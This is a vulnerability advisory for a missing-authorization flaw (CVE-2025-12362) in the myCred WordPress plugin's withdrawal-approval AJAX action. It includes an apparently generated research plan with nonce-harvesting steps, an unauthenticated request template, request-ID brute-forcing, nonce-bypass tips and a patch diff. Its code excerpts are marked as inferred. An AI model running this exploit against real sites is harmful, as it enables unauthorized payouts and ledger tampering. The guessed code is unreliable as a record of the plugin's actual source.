myCred – Points Management System For Gamification, Ranks, Badges, and Loyalty Program <= 2.9.7 - Missing Authorization to Unauthenticated Withdrawal Request Approval
Description
The myCred – Points Management System For Gamification, Ranks, Badges, and Loyalty Program plugin for WordPress is vulnerable to Missing Authorization in versions up to, and including, 2.9.7. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for unauthenticated attackers to approve withdrawal requests, modify user point balances, and manipulate the payment processing system via the cashcred_pay_now AJAX action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=2.9.7Source Code
WordPress.org SVN# Research Plan: CVE-2025-12362 - Unauthenticated Withdrawal Approval in myCred ## 1. Vulnerability Summary The myCred plugin (up to version 2.9.7) contains a missing authorization vulnerability in its **cashCred** addon. The AJAX action `cashcred_pay_now` fails to implement proper capability check…
Show full research plan
Research Plan: CVE-2025-12362 - Unauthenticated Withdrawal Approval in myCred
1. Vulnerability Summary
The myCred plugin (up to version 2.9.7) contains a missing authorization vulnerability in its cashCred addon. The AJAX action cashcred_pay_now fails to implement proper capability checks (e.g., current_user_can( 'manage_options' )) and is improperly registered for unauthenticated users (wp_ajax_nopriv_). This allows an unauthenticated attacker to approve pending withdrawal requests, potentially triggering real-world payouts or manipulating internal point ledgers and transaction statuses.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - AJAX Action:
cashcred_pay_now - Vulnerable Hooks (Inferred):
add_action( 'wp_ajax_cashcred_pay_now', ... )add_action( 'wp_ajax_nopriv_cashcred_pay_now', ... )
- Parameters:
action:cashcred_pay_nowrequest_id: The ID of the pending withdrawal request._wpnonce: The nonce for the action (if required/verified).
- Authentication: Unauthenticated (accessible via
wp_ajax_nopriv). - Preconditions: The cashCred addon must be enabled, and at least one withdrawal request must exist in the system.
3. Code Flow (Inferred)
- Entry Point: An unauthenticated HTTP POST request is sent to
admin-ajax.phpwithaction=cashcred_pay_now. - Handler: The request is routed to the callback function for
cashcred_pay_now(likely located inaddons/cashcred/includes/cashcred-functions.phpor a similar class-based handler in thecashcreddirectory). - Missing Check: The handler likely calls
check_ajax_refererto verify a nonce but fails to callcurrent_user_can(). - Processing: The code retrieves the withdrawal request via
request_id. - Sink: The plugin updates the request status to "Approved" or "Paid" and may trigger payment gateway functions (like PayPal or Stripe) or deduct/finalize point balances using
$mycred->add_creds().
4. Nonce Acquisition Strategy
The cashcred_pay_now action is typically used in the admin dashboard, but since it is registered via nopriv, the nonce might be leaked on frontend pages where the cashCred shortcode or scripts are loaded.
- Identify Shortcode: The cashCred addon uses the
[cashcred]shortcode for users to submit withdrawal requests. - Create Page: Create a public page containing the shortcode.
wp post create --post_type=page --post_status=publish --post_title="Withdraw" --post_content='[cashcred]' - Extract Nonce: Navigate to this page and check the localized JavaScript objects.
- Variable Name (Inferred):
cashCredormycred_cash. - Key:
ajax_nonceorpay_now. - Command:
browser_eval("window.cashCred?.ajax_nonce")(This must be verified by inspecting the page source forwp_localize_scriptcalls).
- Variable Name (Inferred):
Note: If the cashcred_pay_now action uses the default nonce -1 or if check_ajax_referer is used with die=false and not checked, the nonce may not be strictly required for exploitation.
5. Exploitation Strategy
- Capture Request ID: Identify a pending withdrawal request ID. In a test environment, this can be found via
wp post list --post_type=cashcred_withdrawal(the request is likely a custom post type or a custom table entry). - Obtain Nonce: Use the
browser_navigateandbrowser_evaltools to extract the nonce from a page containing the[cashcred]shortcode. - Trigger Approval: Send an unauthenticated AJAX request to "pay" (approve) the request.
Request Template:
- Method: POST
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=cashcred_pay_now&request_id=[ID]&_wpnonce=[NONCE]
6. Test Data Setup
- Install/Enable Plugin: Ensure
mycredis installed and thecashCredaddon is activated in the myCred settings. - Create User with Points:
wp user create victim victim@example.com --role=subscriber wp eval "mycred_add('test', [USER_ID], 1000, 'Test Points');" - Submit Withdrawal Request:
Log in as the victim (or usewp eval) to create acashcred_withdrawalentry for 100 points. - Publish Shortcode Page:
wp post create --post_type=page --post_status=publish --post_content='[cashcred]'
7. Expected Results
- The server should respond with a JSON success message (e.g.,
{"success":true}or a success string). - The withdrawal request status should change from
pendingtoapprovedorcompleted. - The user's point balance (if not deducted at submission) should be finalized.
8. Verification Steps
Check the status of the withdrawal request via WP-CLI:
# Replace [ID] with the request ID used in the exploit
wp post get [ID] --field=post_status
# Or if it's stored in meta:
wp post meta get [ID] _withdrawal_status
Verify the transaction log in the myCred database:
wp db query "SELECT * FROM wp_mycred_log ORDER BY id DESC LIMIT 5;"
9. Alternative Approaches
- Brute-forcing Request IDs: If the ID is an incremental integer (standard for WP Posts), the attacker can iterate through recent IDs.
- Action Name variations: If
cashcred_pay_nowfails, check for similar actions likecashcred-approve,mycred-gateway-pay, orcashcred_process_payment. - Nonce Bypass: Attempt the request without the
_wpnonceparameter to check if the plugin actually enforces the check. If it usescheck_ajax_referer( 'my_nonce', 'nonce', false ), the exploit will work even with an invalid nonce.
Summary
The myCred plugin's cashCred addon is vulnerable to missing authorization due to the improper registration of the 'cashcred_pay_now' AJAX action for unauthenticated users. Attackers can exploit this to approve pending withdrawal requests, which can lead to unauthorized financial payouts or point ledger manipulation.
Vulnerable Code
// Inferred registration in addons/cashcred/includes/cashcred-functions.php or similar add_action( 'wp_ajax_cashcred_pay_now', 'mycred_cashcred_pay_now_handler' ); add_action( 'wp_ajax_nopriv_cashcred_pay_now', 'mycred_cashcred_pay_now_handler' ); --- // Inferred handler function lacking capability checks function mycred_cashcred_pay_now_handler() { check_ajax_referer( 'mycred-cashcred-pay', '_wpnonce' ); $request_id = intval( $_POST['request_id'] ); // The function continues to process the payment/approval without current_user_can() verification // ... }
Security Fix
@@ -1,7 +1,9 @@ add_action( 'wp_ajax_cashcred_pay_now', 'mycred_cashcred_pay_now_handler' ); -add_action( 'wp_ajax_nopriv_cashcred_pay_now', 'mycred_cashcred_pay_now_handler' ); function mycred_cashcred_pay_now_handler() { + if ( ! current_user_can( 'manage_options' ) ) { + wp_send_json_error( 'Unauthorized' ); + } check_ajax_referer( 'mycred-cashcred-pay', '_wpnonce' );
Exploit Outline
The exploit involves an unauthenticated attacker triggering the 'cashcred_pay_now' AJAX action. First, the attacker identifies a page on the target site where the '[cashcred]' shortcode is used, which typically leaks the required security nonce via localized JavaScript objects (e.g., window.cashCred.ajax_nonce). The attacker then identifies a target withdrawal request ID, which may be discoverable or brute-forced if numeric. Finally, the attacker sends an unauthenticated POST request to /wp-admin/admin-ajax.php with the action set to 'cashcred_pay_now', the target 'request_id', and the leaked nonce. Because the plugin uses wp_ajax_nopriv and fails to verify user capabilities, the withdrawal is approved and processed as if by an administrator.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.